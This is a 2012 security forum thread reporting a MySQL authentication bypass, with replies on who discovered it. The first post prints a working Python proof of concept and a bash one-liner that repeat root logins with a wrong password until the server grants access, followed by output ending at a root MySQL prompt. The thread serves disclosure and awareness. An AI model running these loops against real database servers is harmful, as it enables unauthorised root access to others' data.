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Critical MYSQL Authentication Remote Bypass

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MaXe

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Post Mon Jun 11, 2012 8:24 am

Critical MYSQL Authentication Remote Bypass

Thanks to Dave ReL1K aka SecManiac, a proof of concept has been released (discovered by Sergei Golubchik) in the MySQL Authentication Mechanism.

The bug is fairly simple, as an attacker can force root access by sending a lot of requests containing a wrong password as shown in the proof of concept below.

  Code:
#!/usr/bin/python
import subprocess


while 1:
        subprocess.Popen("mysql -u root mysql --password=blah", shell=True).wait()


Below running the command:


relik@stronghold:~# python mysql_bypass.py
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
Reading table information for completion of table and column names
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Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 24598
Server version: 5.1.62-0ubuntu0.11.10.1 (Ubuntu)


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Type ‘help;’ or ‘\h’ for help. Type ‘\c’ to clear the current input statement.


mysql>


HD Moore (the founder of Metasploit), created a one-liner briefly after the vulnerability was released to the public:
  Code:
$ for i in `seq 1 512`; do echo 'select @@version;' | mysql -h 127.0.0.1 -u root mysql --password=X 2>/dev/null && break; done


In order to exploit this vulnerability the MySQL server must be accessible to the attacker. (i.e. if the attacker doesn't have local access and the MySQL server is running in a Unix socket, no worries then. But if the service is available over the Internet, anyone can potentially access it with root privileges potentially compromising the entire server depending on the configuration.)

Reports has begun to come in on e.g. Twitter stating that RHEL (Red Hat Enterprise Linux) doesn't seem to be affected, but that Ubuntu (and most likely Debian) are affected among other distributions.


Links:
http://secmaniac.com
https://twitter.com/hdmoore/status/211991006630002688
Last edited by MaXe on Mon Jun 11, 2012 6:42 pm, edited 1 time in total.
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UNIX

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Post Mon Jun 11, 2012 10:23 am

Re: Critical MYSQL Authentication Remote Bypass

MaXe wrote:Thanks to Dave ReL1K aka SecManiac, a vulnerability has been discovered in the MySQL Authentication Mechanism.


Wasn't it disclosed by Sergei Golubchik..?
Last edited by UNIX on Mon Jun 11, 2012 10:31 am, edited 1 time in total.
<<

impelse

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Post Mon Jun 11, 2012 10:30 am

Re: Critical MYSQL Authentication Remote Bypass

Come on guys, I spent the last weekend working with the PWB lab using metasploit and I found some MySQL abd I could not do anything.....
CCNA, Security+, 70-290, 70-291
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<<

MaXe

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Post Mon Jun 11, 2012 6:42 pm

Re: Critical MYSQL Authentication Remote Bypass

aweSEC wrote:
MaXe wrote:Thanks to Dave ReL1K aka SecManiac, a vulnerability has been discovered in the MySQL Authentication Mechanism.


Wasn't it disclosed by Sergei Golubchik..?


Aaah sorry, it was because it got massive attention as soon as Dave ReL1K posted the PoC  ;D
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